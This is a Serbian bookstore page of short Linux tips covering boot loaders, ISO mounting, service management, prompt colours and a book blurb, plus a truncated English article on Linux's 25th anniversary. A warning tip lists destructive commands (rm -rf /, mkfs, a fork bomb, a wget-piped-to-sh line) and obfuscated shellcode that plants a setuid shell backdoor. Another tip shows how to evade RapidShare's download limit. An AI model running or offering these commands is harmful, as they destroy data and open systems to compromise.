Veze, linkovi
Kompjuter biblioteka
Korpa

 

Access

Alternativna učenja

Analiza podataka

Android

Animacija

Antropologija

Apple - MAC OS X

Arheologija

Arhitektura

Astrologija

Astronomija

Audio kursevi + knjige

Audio, Multimedia, Video

Autobiografija

AutoCad, ArchiCAD, SolidWorks, Catia, Pro/Engineer

Automobili

Bajke

Baze podataka

Biografija

Biološke nauke

Blockchain

Botanika

C++ Visual C++ C#

ChatGPT

CSS

Dečije knjige

Delphi

Digitalna fotografija

Dizajn

Django

Domaće pripovetke

Domaći roman

Drama

E-knjiga

E-komerc

ECDL

Ekologija

Ekonomija

Elektrotehnika

Enciklopedija

Esejistika

Etika

Fantastika

Film

Filologija

Filozofija

Fizika

Fotografija

FULL STACK DEVELOPMENT

Funkcionalno programiranje

Generativna veštačka inteligencija

Geografija

Geologija

Git i GitHub

GOOGLE

GPT

Grafika, Dizajn, Štampa

Građevinarstvo

Hardver

Hemija

Hidrotehnika

Hobi

Horor

Humor

Internet

Intervju

Istorija

Istorija i teorija književnosti

Istorija umetnosti

Istorijski roman

Java

JavaScript

Joomla

jQuery

Knjiga posle posla - Beletristika i ostala izdanja

Knjižare i naše knjige

Književna kritika

Kuvari, hrana i piće

Leksikografija

Lingvistika

Ljubavni roman

logo

Magija

Marketing

Mašinsko učenje

Mašinstvo

Matematika

Medicina

Memoari

Menadžment

Modeliranje podataka

Monografija

Mreže

MS Office

Muzika

Nagrađivanje knjige

Naučna fantastika

Obrada teksta

OFFICE 2013

OpenOffice.org

Operativni sistemi

Oracle

Organizacione nauke

Pedagogija

PHP I MYSQL

Pisci u medijima

Ples

Poezija

Politika

Poljoprivreda

Popularna medicina

Popularna nauka

Popularna psihologija

Posao

Poslovanje

Pozorište

Pravo

Pravoslavlje

Primenjene nauke

Pripovetke

Prirodne nauke

Priručnik

Programiranje

Projektovanje softvera

Psihologija

Publicistika

Putopis

Python programiranje

Računarstvo u oblaku

Raspberry PI

Razvoj

Rečnici

Religija

Robotika

Roman

Ruby i Ruby on Rails

Satira

Saveti

Serija Roberta C. Martina

Sertifikati

Slikarstvo

Socijalna mreža - Facebook

Sociologija

Sport

Sport i hobi

SQL

Statistika

Strip

Tabele

Tableti

Tehnologija

Telekomunikacije

Triler

Turizam

Twitter

Udžbenici

Umetnost

Unix, Linux

Urbanizam

UX DIZAJN

Veštačka inteligencija

Visual Basic .NET, VBA, V. Studio

Web design

Windows

Windows 7

Windows 8

WordPress

Zaštita i sigurnost

Zoologija

 

Saveti – Unix, Linux

Ukupno: 179, strana 8 od 9

KAKO DA uklonite Linux Boot Loader iz Startupa

 

 

 

Ako imate sistem sa dvostrukim butovanjem za Linux i Windows  onda verovatno znate da kada pokrenete sistem, prvo će se pojaviti Linux Boot  Loader koji prikazuje unose za butovanje Linuxa i Windowsa. Ako želite da uklonite Linux sa sistema i da koristite samo  Windows treba da uklonite i Boot Loader posebno jer se on neće ukloniti  prilikom uklanjanja Linuxa. Evo šta je potrebno da uradite:  Prvo treba da butujete pomoću Windows setup CD-a.   Uđite u Recovery Console tako što ćete pritisnuti R,  izaberite Windows instalaciju i unesite lozinku administratora.   Unesite sledeću komandu:    fixmbr  Pritisnite "Y" da biste potvrdili unos i  ukucajte Exit da biste izašli iz Recovery Console.   Gornja komanda će ukloniti Linux Boot Loader iz Startupa  i moći ćete direktno da butujete u Windows.   Ako niste izbrisali Linux particiju, onda možete da je  izbrišete uz pomoć Disk Manager alatke u Windowsu.
 
   

KAKO DA ulepšate Application meni na Gnome desktopu - GnoMenu

 

 

 

GnoMenu sadrži dugme za menjanje pozadina, nove teme,  GDM-ove koji će vašem GNOME desktopu dati svež i novi izgled. GnoMenu možete da prilagođavate po svojoj želji. On podržava  veoma atraktivne teme sa providnošću, pa čak i nekompozitne pozadine. Nakon  instaliranja, GnoMenu dodajte u jedan od panela tako što ćete kliknuti desnim  tasterom miša na panel i izaberite Add to Panel > GnoMenu > Add. Ponašanje GnoMenu-ja zavisi i od toga na koji panel ste ga  postavili. Desnim klikom na ikonicu GnoMenu otvoriće se meni sa parametrima i  stavkama menija Edit. Kliknite na Preferences i ovde možete da podesite opcije  po želji - da instalirate/deinstalirate teme i da modifikujete ugrađene  komande. GnoMenu je besplatan za preuzimanje i dostupna je verzija za  Linux sistemeAdresa: GnoMenu
 
   

KAKO DA upotrebite hgfs modul na Ubuntu Gutsy Gibbon-u (7.10)

 

 

 

U ovom trenutku vmware-tools koji dolazi sa radnom stanicom 6. 0. 2 se ne kompajlira pod Ubuntu Gutsy 7. 10. Samo jedan modul može da se koristi: vmhgfs. Ovaj modul omogućuje deljenje direktorijuma između hosta i gosta. Ovaj članak će vam pokazati nekoliko izmena koje je potrebno napraviti da biste mogli da kompajlirate ovaj modul, i tako olakšate deljenje fajlova između hosta i gosta. Originalna greška na koju možete da naiđete dok kompajlirate ove alate će izgledati ovako: CC [M] /tmp/vmware-config0/vmhgfs-only/filesystem. o/tmp/vmware-config0/vmhgfs-only/filesystem. c: In function ‘HgfsInitFileSystem':/tmp/vmware-config0/vmhgfs-only/filesystem. c:582: error: too few arguments to function ‘kmem_cache_create'/tmp/vmware-config0/vmhgfs-only/filesystem. c:593: error: too few arguments to function ‘kmem_cache_create' U ovom članku mi ćemo da pretpostavimo da je vmware-tools's . tar. gz već raspakovan u vašem home direktorijumu i da korisnik može da dobije root privilegije pomoću sudo-a. Pre svega, vi treba da uđete u radni direktorijum vmware-tools-a: $ cd ~/vmware-tools-distrib Zatim ćemo kreirati rezervnu kopiju starog vmhgfs. tar: $ mv lib/modules/source/vmhgfs. tar vmhgfs. tar. orig Sada raspakujte vmhgfs. tar. orig: $ tar -xvf vmhgfs. tar. orig Sada editujte vmhgfs-only/compat_slab. h: $ vim vmhgfs-only/compat_slab. h i promenite: if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 22) || defined(VMW_KMEMCR_HAS_DTOR) u if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 22) || defined(VMW_KMEMCR_HAS_DTOR) Konačno, restarujte vmhgfs - samo direktorijum u lib/modules/source/vmhgfs. tar: $ tar -cvf lib/modules/source/vmhgfs. tar vmhgfs-only Zatim kopirajte novi tar u /usr/lib/vmware-tools/modules/source/ : $ sudo cp lib/modules/source/vmhgfs. tar /usr/lib/vmware-tools/modules/source/vmhgfs. tar To je to, sada možete ponovo da pokrenete config skript: $ sudo vmware-config-tools. pl
 
   

KAKO DA upotrebite ISO imidž na Ubuntu sistemu

 

 

 

Kao i sve drugo na linux sistemu, najlakši način da  upotrebite ISO imidž je da to uradite iz komandne linije. Otvorite prozor terminala i ukucajte sledeću komande: sudo mkdir /media/iso  sudo modprobe loop  sudo mount filename. iso /media/iso -t iso9660 -o loop Potražite direktorijum /media/iso i videćete sadržaje ISO  imidža. Ako želite da demauntujete ISO, upotrebite sledeću komandu: sudo umount /media/iso To je sve.
 
   

KAKO DA upotrebite različite boje za root shell prompt

 

 

 

U ovom članku objasnićemo kako da promenite prompt u crveno  kada koristite root nalog iz terminala. Ovaj trik je  veoma jednostavan. Potrebno je da editujete fajl /root/. bashrc i da  dodate sledeće na kraj fajla:PS1='${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$  'Kada dodate ovu liniju, svaki put kada se prebacite na  upotrebu root shell-a videćete prompt u crvenoj boji sa belim tekstom za  komandnu liniju. Takođe možete da promenite boju u zelenu za regularne  korisnike, što možete da uradite tako što ćete dodati sledeće u fajl ~/. bashrc:PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$  'Ovaj savet može stvarno da bude koristan ako imate puno  otvorenih prozora terminala odjednom, tako da odmah možete da kažete koji  koristi root režim a koji ne.
 
   

KAKO DA upravljate servisima pomoću update-rc.d-a

 

 

 

Linux servisi mogu da se pokreću, zaustavljaju i ponovo učitavaju pomoću skriptova koji se nalaze u /etc/init. d/. Međutim, tokom startovanja ili prilikom promene runlevel-a, ovi skriptovi se traže u /etc/rcX. d/ gde je X broj runlevel-a. Ovaj članak će vam pokazati kako da aktivirate, deaktivirate ili modifikujete startovanje servisa. Kada instalirate novi servis pod Debian-om, standardno podešavanje je da je on aktiviran. Na primer, ako ste upravo instalirali apache2 paket, nakon što ste ga instalirali, apache servis će se učitati i pokretaće se kod svakog butovanja računara. Ako ne koristite apache stalno, možda ćete želeti da ga isključite kako se ne bi startovao prilikom butovanja i kako biste mogli ručno da ga aktivirate kada vam treba pomoću sledeće komande: # /etc/init. d/apache2 start Vi takođe možete da ga deaktivirate prilikom butovanja tako što ćete ukloniti bilo koje simboličke linkove u /etc/rcX. d/SYYapache2 ili tako što ćete upotrebiti update-rc. d. Prednost upotrebe update-rc. d-a je to što će se on automatski postarati  za uklanjanje/dodavanje potrebnih linkova u /etc/init. d. Koristeći apache2 kao primer, hajde da proučimo kako /etc/rcX. d izgleda na sledeći način: # ls -l /etc/rc?. d/*apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc0. d/K91apache2 -> . . /init. d/apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc1. d/K91apache2 -> . . /init. d/apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc2. d/S91apache2 -> . . /init. d/apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc3. d/S91apache2 -> . . /init. d/apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc4. d/S91apache2 -> . . /init. d/apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc5. d/S91apache2 -> . . /init. d/apache2lrwxrwxrwx 1 root root 17 2007-07-05 22:51 /etc/rc6. d/K91apache2 -> . . /init. d/apache2 Kao što možete da vidite, za runlevel-e 0, 1 i 6 postoji K na početku linka, za runlevele-e 2, 3, 4 i 5, postoji S. Ta dva slova označavaju Kill i Start. Na Debian-u i Ubuntu-u, runlevel-i 2, 3, 4 i 5 su višekorisnički runlevel-i. Runlevel 0 je Halt. Runlevel 1 je single user modeRunlevel 6 je reboot 1. Uklanjanje servisa Ako želite ručno potpuno da stopirate apache2 servis, trebaćete da izbrišete svaki postojeći link u /etc/rcX. d/. Ako upotrebite update-rc. d to ćete vrlo jednostavno uraditi na sledeći način: # update-rc. d -f apache2 remove Upotreba -f je potrebna da bi se nasilno uklonili symlink-ovi čak i ako još postoji /etc/init. d/apache2. Napomena: Ova komanda će samo deaktivirati servis sve dok servis sledeći put ne bude nadgrađen. Ako želite da obezbedite da servis ne bude reaktiviran prilikom nadgradnje, treba da ukucate i sledeće: # update-rc. d apache2 stop 80 0 1 2 3 4 5 6 . 2. Dodavanje servisa 2. 1. Standardni prioriteti Sada, ako želite ponovo da dodate ovaj servis kako bi se pokrenuo prilikom butovanja, možete jednostavno da upotrebite: # update-rc. d apache2 defaultsAdding system startup for /etc/init. d/apache2 . . . /etc/rc0. d/K20apache2 -> . . /init. d/apache2/etc/rc1. d/K20apache2 -> . . /init. d/apache2/etc/rc6. d/K20apache2 -> . . /init. d/apache2/etc/rc2. d/S20apache2 -> . . /init. d/apache2/etc/rc3. d/S20apache2 -> . . /init. d/apache2/etc/rc4. d/S20apache2 -> . . /init. d/apache2/etc/rc5. d/S20apache2 -> . . /init. d/apache2 2. 2. Nestandardni prioriteti Ali kao što možete da vidite, standardna vrednost od 20 je dosta drugačija od 91 . . . S20 link je startovan pre S91 a K91 je "kill-ovan" pre K20. Da biste prisilili apache2 da se pokrene sa prioritetima 91 i za Start i za Kill, mi treba da upotrebimo sledeću komandu: # update-rc. d apache2 defaults 91Adding system startup for /etc/init. d/apache2 . . . /etc/rc0. d/K91apache2 -> . . /init. d/apache2/etc/rc1. d/K91apache2 -> . . /init. d/apache2/etc/rc6. d/K91apache2 -> . . /init. d/apache2/etc/rc2. d/S91apache2 -> . . /init. d/apache2/etc/rc3. d/S91apache2 -> . . /init. d/apache2/etc/rc4. d/S91apache2 -> . . /init. d/apache2/etc/rc5. d/S91apache2 -> . . /init. d/apache2 2. 3. Različiti prioriteti za Start i Kill Alternativno, ako želite da podesite drugačije prioritete za Start nego za Kill, recimo Start sa 20 a Kill sa 80, trebaćete da upotrebite sledeću komandu: # update-rc. d apache2 defaults 20 80Adding system startup for /etc/init. d/apache2 . . . /etc/rc0. d/K80apache2 -> . . /init. d/apache2/etc/rc1. d/K80apache2 -> . . /init. d/apache2/etc/rc6. d/K80apache2 -> . . /init. d/apache2/etc/rc2. d/S20apache2 -> . . /init. d/apache2/etc/rc3. d/S20apache2 -> . . /init. d/apache2/etc/rc4. d/S20apache2 -> . . /init. d/apache2/etc/rc5. d/S20apache2 -> . . /init. d/apache2 3. Specifikovanje prilagođenih runlevel-ova I konačno, ako samo želite da upotrebite Start i Kill na specifičnim runlevel-ovima, na primer da startujete apache sa prioritetom 20 na runlevel-ovima 2, 3, 4 i 5 a Kill sa prioritetom 80 na runlevel-ovima 0, 1 i 6, upotrebite sledeću komandu: # update-rc. d apache2 start 20 2 3 4 5 . stop 80 0 1 6 . Adding system startup for /etc/init. d/apache2 . . . /etc/rc0. d/K80apache2 -> . . /init. d/apache2/etc/rc1. d/K80apache2 -> . . /init. d/apache2/etc/rc6. d/K80apache2 -> . . /init. d/apache2/etc/rc2. d/S20apache2 -> . . /init. d/apache2/etc/rc3. d/S20apache2 -> . . /init. d/apache2/etc/rc4. d/S20apache2 -> . . /init. d/apache2/etc/rc5. d/S20apache2 -> . . /init. d/apache2 Ili, da biste startovali sa prioritetom 20 na runlevel-ovima 2, 3 i 4 i prioritetu 30 za runlevel 5 i kill sa prioritetom 80 za runlevel 0, 1 i 6, upotrebite sledeću komandu: # update-rc. d apache2 start 20 2 3 4 . start 30 5 . stop 80 0 1 6 . Adding system startup for /etc/init. d/apache2 . . . /etc/rc0. d/K80apache2 -> . . /init. d/apache2/etc/rc1. d/K80apache2 -> . . /init. d/apache2/etc/rc6. d/K80apache2 -> . . /init. d/apache2/etc/rc2. d/S20apache2 -> . . /init. d/apache2/etc/rc3. d/S20apache2 -> . . /init. d/apache2/etc/rc4. d/S20apache2 -> . . /init. d/apache2/etc/rc5. d/S30apache2 -> . . /init. d/apache2
 
   

KAKO da vaš desktop postane minimalistički

 

 

 

Conky je veoma fascinantno podešavanje na Ubuntu sistemima  koje donosi Gmail naloge, Yahoo vremensku prognozu sa grafičkim i sistemskim  statistikama, i sve to u nepretrpanom providnom tekstualnom formatu koji može  da se integriše na bilo koju pozadinu. Na gore prikazanoj slici prikazano je Conky podešavanje.   Želite li da i vi podesite sopstveni desktop? Daunlodujte Conky i ulepšajte  svoj desktop. Adresa: http://conky. sourceforge. net/
 
   

KAKO DA zamenite prilagođeni tekst za Linux - AutoKey

 

 

 

Tražite neko rešenje za zamenu teksta na Linuxu? AutoKey, je  odlično rešenje. To je automatski ekspander za tekst koji se nalazi u trayu. AutoKey nudi Ubuntu skladište, unstalira se prilično lako  kao paket na drugim Linux distribucijama i veoma je jednostavan za upotrebu.   Nakon instaliranja AutoKeya, pokrenite ga iz menija Accessories tako što ćete  potražiti njegovu ikonicu i kliknite na Configure da biste započeli da ga  koristite. Dajte novoj "frazi" opisno ime, ukucajte tekst koji želite  da se pojavi kada je fraza pokrenuta i izaberite da li želite da pokrenuta  fraza nestane ili ne. Dodelite joj i skraćenicu. Po standardnom podešavanju,  AutoKey pokreće zamenjivanje teksta kada kucate skraćenice i pritisnete Enter,  ali možete da konfigurišete fraze da se one automatski pokrenu ili budu  pokrenute pomoću prečice sa tastature. AutoKey je besplatan za daunlodovanje i dostupna je verzija  samo za Linux sisteme. Adresa: AutoKey
 
   

KAKO DA zaobiđete ograničenje od 1 sat za RapidShare daunlodovanje na Linuxu

 

 

 

RapidShare je popularan sajt za deljenje fajlova. Sa  besplatnim pristupom imate ograničenje od jedan sat za daunlodovanje. Evo kako  možete da zaobiđete ovo ograničenje na Linuxu. Da biste zaobišli ograničenje za daunlodovanje na Linuxu  uradite sledeće:  Otvorite Terminal i pokrenite sledeću komandu:ifdown ppp0; ifup ppp0Ova komanda će zatvoriti DSL konekciju i ponovo će je  otvoriti što će vam u većini slučajeva dodeliti drugu IP adresu.   IP adresu možete da proverite pomoću sledeće komande:adsl-status /etc/sysconfig/network-scripts/ifcfg-ppp0Napomena: ovu komandu nemojte da pokrećete dok se fajl daunloduje.   Takođe, potrebno je da izbrišete cache pretraživača. To  možete jednostavno da uradite u Firefoxu tako što ćete pritisnuti  Ctrl-Shift-Del.
 
   

KAKO DA zaobiđete Trash prilikom brisanja fajlova na Ubuntu sistemu

 

 

 

Imate li možda fajl koji nije vredan ni toliko da ode u  Trash, već želite da on odmah nestane sa vašeg računara? Ubuntu vam omogućava da dodate komandu u kontekstni meni  koja će izbrisati fajl zauvek umesto da ga pošalje u Trash.   Idite u Main Menu > Places > Home Folder.   Kliknite na Edit > Preferences.   Kada se otvori prozor File Browser Preferences, izaberite  karticu Behavior.   U odeljku Trash potvrdite polje za potvrđivanje Include a Delete command that bypasses  Trash. Kada želite da  izbrišete fajl zauvek, kliknite na njega desnim tasterom miša i izaberite  Delete iz kontekstnog menija.
 
   

KAKO DA zaštitite fajlove na Linux sistemu

 

 

 

Ako ste novi korisnik Linuxa, možda ćete potražiti pomoć na  nekom forumu na Internetu i naleteti na zlonamernog korisnika koji vas može  prevariti da upotrebite neke od komandi koje mogu da oštete fajlove na računaru  ili čak i ceo operativni sistem. Da biste izbegli ovaj opasan scenario, evo lista Linux  komandi koje TREBA DA IZBEGAVATE.   Kod:    rm -rf /    Ova komanda će izbrisati sve fajlove unutar root  direktorijuma.   Kod:    char esp[] __attribute__ ((section(". text"))) /* e. s. p    release */    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68""\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99""\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7""\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56""\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31""\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69""\x6e\x2f\x73\x68\x00\x2d\x63\x00""cp -p /bin/sh /tmp/. beyond; chmod 4755/tmp/. beyond;";Ovo je još jedna verzija prethodne komande koja može da  prevari čak i iskusne korisnike Linuxa.   Kod:    mkfs. ext3 /dev/sda    Ova komanda će reformatirati ili izbrisati sve fajlove  uređaja koji su navedeni iza komande mkfs.   Kod:    :(){:|:&};:    Ova komanda će reći sistemu da izvrši veliki broj procesa  dok se sistem ne blokira što često dovodi do oštećenja fajlova.   Kod:     any_command > /dev/sda    Pomoću ove komande, raw podaci će biti ispisani u blok  uređaja što obično može da ošteti fajl sistem i dovede do totalnog gubitka  podataka.   Kod:    wget http://some_untrusted_source -O- | sh    Nikada nemojte da daunlodujete iz nepoverljivih izvora a zatim da izvršite  moguće zlonamerne kodove koji vam oni daju.   Kod:    mv /home/yourhomedirectory/* /dev/null    Ova komanda će pomeriti sve fajlove unutar home  direktorijuma na mesto koje ne postoji, što znači da nikada više nećete videti  svoje fajlove. Naravno, postoji još opasnih komandi Linux sistema, tako da  budite veoma oprezni.
 
   

Kome je namenjena knjiga Naučite Shell skriptovanje

 

 

 

Naučite Shell skriptovanje LINK ZA NARUČIVANJE Ova knjiga je namenjena čitaocima koji su vešti u radu na Linuxu i koji žele da nauče više o shell skriptovanju da bi poboljšali efikasnost i praktične veštine. Sledi nekoliko primera u kojima možete da primenite veštine koje se uče u ovoj knjizi: - shell skriptovanje za automatizaciju zadataka, kao što je periodično kreiranje rezervne kopije - administracija sistema - održavanje baze podataka i kreiranje rezervne kopije - obrada testa i generisanje izveštaja - prilagođavanje pokretanja sistema - razvoj ugrađenih Linux proizvoda   Šta obuhvata ova knjiga U Poglavlju 1, “Početak rada i shell skriptovanje”, predstavljeni su različiti načini za pisanje i pokretanje shell skriptova. Takođe ćemo vam predstaviti načine za obradu fajlova i direktorijuma i upotrebu dozvola. U Poglavlju 2, “Detaljnije o upravljanju procesima, kontroli posla i automatizaciji”, biće reči o osnovnom upravljanju procesima. Naučićete više o komandi ps i o upravljanju poslovima pomoću komandi kao što su jobs, fg, bg, kill i pkill. Kasnije ćete učiti o alatkama za kontrolu procesa top, iostat, vmstat i sar. U Poglavlju 3, “Upotreba obrade teksta i filtera u skriptovima”, upoznaćete upotrebu komandi more, less, head i tail. Takođe ćete učiti o alatkama za obradu teksta, kao što su cut, paste,comm i uniq. Saznaćete šta su standardni ulaz, izlaz i standardna greška. Kasnije ćete učiti o meta karakterima i poklapanju obrazaca pomoću alatki VI i grep. U Poglavlju 4, “Upotreba komandi”, saznaćete kako shell interpretira bilo koju komandu koja je uneta u komandnu liniju. Takođe ćete detaljnije učiti o zameni komande, separatorima i usmeravanjima. U Poglavlju 5, “Istraživanje izraza i promenljivih”, biće reči o promenljivim uopšteno, a konkretno o promenljivim okruženja, što uključuje i način eksportovanja promenljivih okruženja, podešavanje, menjanje, promenljive read-only, argumente komandne linije i kreiranje i obradu nizova. Poglavlje 6, “Dobri trikovi u shell skriptovanju”, posvećeno je ispravljanju grešaka, operatoru here i interaktivnim shell skriptovima za upotrebu unosa sa tastature i obradi fajla. U Poglavlju 7, “Izvršavanje aritmetičkih operacija u shell skriptovima”, opisano je izvršavanje aritmetičkih operacija na različite načine, kao što je upotreba komandi declare, let, expr i aritmetičkih izraza. Takođe ćete učiti o predstavljanju brojeva u različitim bazama, kao što su hex, octal i binary. Osim toga, u ovom poglavlju je opisana upotreba pomoćnog programa bc za izvršavanje aritmetičkih operacija sa decimalnim brojevima ili razlomcima. Poglavlje 8, “Automatizacija donošenja odluka u skriptovima”, posvećeno je donošenju odluka u skriptovima upotrebom Testa i iskaza if-else i prebacivanjem slučaja. Takođe ćete naučiti kako da upotrebite selekciju pomoću petlje for, zajedno sa menijem. U Poglavlju 9, “Automatizacija ponavljajućih zadataka”, govorimo o ponavljajućim zadacima, kao što je rutinska administracija pomoću petlje for, petlje while i petlje do while. Takođe ćete naučiti kako da kontrolišete petlje pomoću iskaza break i iskaza continue. Poglavlje 10, “Upotreba funkcija”, posvećeno je funkcijama u shell skriptovima. Saznaćete kako da definišete i prikažete funkcije i kako se uklanja funkcija iz shella. Takođe ćete učiti o prosleđivanju argumenata u funkcije, deljenju podataka između funkcija, deklarisanju lokalnih promenljivih u funkciji, vraćanju rezultata iz funkcije i pokretanju funkcija u pozadini. Na kraju ćemo predstaviti upotrebu komandi source i . (dot). Koristićemo ove komande za upotrebu biblioteke funkcija. U Poglavlju 11, “Upotreba naprednih funkcionalnosti u skriptovima”, tema je upotreba programskih klopki i signala. Takođe ćete učiti o kreiranju menija upotrebom pomoćnog programa dialog. U Poglavlju 12, “Pokretanje sistema i prilagođavanje Linux sistema”, predstavićemo pokretanje Linux sistema, od uključivanja, do prijave korisnika. Osim toga, naučićete kako da prilagodite okruženje Linux sistema. Poglavlje 13, “Podudaranje obrazaca i regularnih izraza pomoću editora sed i awk”, posvećeno je regularnim izrazima i upotrebi editora sed (stream editor) i awk za obradu teksta. Naučićete kako da upotrebite različite komande i opcije, zajedno sa primerima za upotrebu editora sed i awk. U Poglavlju 14, “Kreiranje rezervne kopije i ugrađivanje drugih jezika u shell skriptove”, govorimo o kreiranju rezervne kopije lokalno i preko mreže. Takođe ćete učiti o automatizaciji kreiranja rezervne kopije korišćenjem pomoćnog programa crontab. Ovladaćete ugrađivanjem drugih jezika u bash skriptove, kao što su Python, Ruby i Pearl. U Poglavlju 15, “Administracija baze podataka pomoću shell skriptova”, saznaćete kako se pišu i izvršavaju MySQL komande u shell skriptu i kako se pišu i izvršavaju Oracle komande u shell skriptu. Zahvaljujući znanju stečenom u ovoj knjizi, moći ćemo da automatizujete često upotrebljavane zadatke administracije baze podataka.
 
   

Kratak pogled na Kubuntu 8.04 Beta

 

 

 

Iako uskoro izlazi Ubuntu mi ćemo vam u kratkim crtama u ovom članku predstaviti Kubuntu. Odmah možemo da kažemo da tu ima mnogo šta da se voli. Najnovija Ubuntu familija distribucija sada ima podršku za šifrovanje particija, pod uslovom da koristite alternativni instalacioni CD a ne onaj grafički. Korisnici koji izaberu ovu funkciju će trebati da unesu lozinku u vreme butovanja, što će biti odlična zaštita vašeg sistema. Takođe su nam se vizuelno svideli KDE sistemski alati za upravljanje, za koje se pokazalo i da su veoma korisni, ali je zato Kubuntu APT frontend bio spor i konfuzan u poređenju sa Synaptic-om na Ubuntu-u. Takođe smo doživeli pad X bez ikakvog vidljivog razloga, i to nekoliko puta, ali pošto je u pitanju beta softver, nećemo se previše žaliti. Sve u svemu, ovo je distribucija koja se dobro razvija. Kao što ste mogli i sami da vidite ona nije savršena, ali ima još dosta vremena za poliranje ivica. Ako želite da pomognete zajednici u testiranju bagova, idite na ovaj servis.
 
   

Kreirajte Mac-oliki Dashboard u Linuxu pomoću Google Gadgets-a

 

 

 

Tombuntu blog detaljno objašnjava kako da instalirate i izvučete maksimum iz nedavno izdatog Google Gadgets-a za Linux u Ubuntu-u ili drugim Debian-zasnovanim Linux distribucijama. U ovim instrukcijama naći ćete i interesantan Compiz trik koji će vam omogućiti da postavite gadžete na OS X-oliki panel. Prvo instalirajte compizconfig-settings-manager paket u Ubuntu-u, i onda: Pokrenite System  Preferences > Advanced Desktop Effects Settings. Aktivirajte Widget Layer plugin, i uđite u ekran sa parametrima. Selektujte Behavior karticu, i ukucajte sledeće u Widget Windows tekstualno polje: class=Ggl-gtk Sada će vaši gadžeti biti sakriveni sve dok ne pritisnete F9 (ili neki drugi taster koji im dodelite) da biste ih aktivirali.
 
   

Linux is 25. Yay! Celebrate with 25 stunning facts about Linux

 

 

 

25 years ago this week, a college student in Finland shared his project on an email list: From: torvalds@klaava. Helsinki. FI (Linus Benedict Torvalds)Newsgroups: comp. os. minixSubject: What would you like to see most in minix?Summary: small poll for my new operating systemMessage-ID: <1991Aug25. 205708. 9541@klaava. Helsinki. FI>Date: 25 Aug 91 20:57:08 GMTOrganization: University of Helsinki Hello everybody out there using minix — I’m doing a (free) operating system (just a hobby, won’t be big andprofessional like gnu) for 386(486) AT clones. This has been brewingsince april, and is starting to get ready. I’d like any feedback onthings people like/dislike in minix, as my OS resembles it somewhat(same physical layout of the file-system (due to practical reasons)among other things). I’ve currently ported bash(1. 08) and gcc(1. 40), and things seem to work.  This implies that I’ll get something practical within a few months, andI’d like to know what features most people would want. Any suggestionsare welcome, but I won’t promise I’ll implement them :-) Linus (torv…@kruuna. helsinki. fi) PS. Yes — it’s free of any minix code, and it has a multi-threaded fs.  It is NOT protable (uses 386 task switching etc), and it probably neverwill support anything other than AT-harddisks, as that’s all I have :-(. “Just a hobby,” he says. “Won’t be big and professional like gnu,” he says. This kid has no idea that his operating system is about to change software forever. Today, Linux is the dominant operating system for servers. It’s also the basis for Android, which is the dominant operating system for phones. And it’s 100% free and open source. Let’s put the last 25 years of Linux in perspective with these 25 stunning facts about Linux: Fact #1: There are 115 million lines of code in The Linux Foundation’s collaborative projects. Compare this to the 45 million lines of code in Windows XP. Fact #2: The Linux kernel is by far the most active open source project on Earth. Its accepts an average of 185 patches each day. Fact #3: It’s taken about 41,000 person-years to build Linux — the equivalent of about $5 billion in developer salary. Fact #4: The Linux Foundation pays Linus $10 million per year to continue his work on Linux. His net worth is $150 million. Fact #5: Despite this the sums of money involved — and all the systems that rely on Linux — Linus works from home, alone, with his cat. Here’s a picture of him at his treadmill desk: Fact #6: While Linus was serving as in the Finnish military — doing ballistics calculations — he bought a copy of Andrew Tanenbaum’s Operating Systems: Design and Implementation.  This book described Minix — a simplified educational version of Unix — and opened Linus’s eyes to the Unix philosophy. Operating Systems Design and Implementation (3rd Edition)The book that inspired Linus to create Linux. Fact #7: Even though Torvalds wrote 100% of Linux’s first release, his original contributions now account for less than 1% of its total codebase. These days he says he’s too busy merging in code written by other contributors to do much programming himself. I do not have a five-year plan. I do not have a moonshot. I’m perfectly happy with all the people walking around looking at the stars saying “I want to go there. ” But I’m looking at the ground, and I want to fix the pothole that’s right in front of me before I fall in.  — Linus Torvalds Fact #8: Other famous software icons like Bill Gates and Mark Zuckerberg dropped out of college to pursue their projects full-time. Linus not only continued school after the initial success of Linux — he even stuck around to get his masters in computer science. Fact #9: Even though Linus created Git, he doesn’t accept pull requeststhrough GitHub. Linux is listed on GitHub, though, and it has more than 35,000 stars. Fact #10: Linux’s mascot is a penguin named “Tux”: Fact #11: Developers from a wide range of companies contribute to Linux. Here they are, ranked by contributions: This table comes from this excellent article about Linux’s contributors. Fact #12: 97% of the world’s supercomputers run on Linux — including clusters used by NASA. Fact #13: SpaceX uses a special fault-tolerant design of Linux in each of its Merlin rocket engines. Through this, Linux has helped complete 32 space missions. Fact #14: In 2009, the government of Munich, Germany switched from Windows to Linux. They claim to have saved more than €10 million in software licensing fees so far. But the switch may have cost them that much or more in lost productivity. Fact #15: Linux powers the tiny $5 Raspberry Pi computer. Fact #16: Is Linux the king of the world? Titanic was the first feature film produced on Linux servers. Fact #17: Even though video game developer Valve’s founder Gabe Newell has publicly stated that he thinks Linux is the future of gaming, his company’s Linux-based Steam Machine console flopped. Fewer people use Linux for gaming today than did in 2010. Fact #18: Dronecode is Linux for Drones. About 1,000 companies develop drone services that run on top of this operating system. Fact #19: Toyota and Jaguar plan to run their future cars using Automotive-grade Linux. Fact #20: Linux is available in many distributions, or “distros. ” Most distros are based off of other distros. The most popular distro is Ubuntu, which is based off of Debian. Fact #21: Red Hat is a company that makes an enterprise-focused distribution of Linux. It is the largest company built around open source software, and is on track to make $5 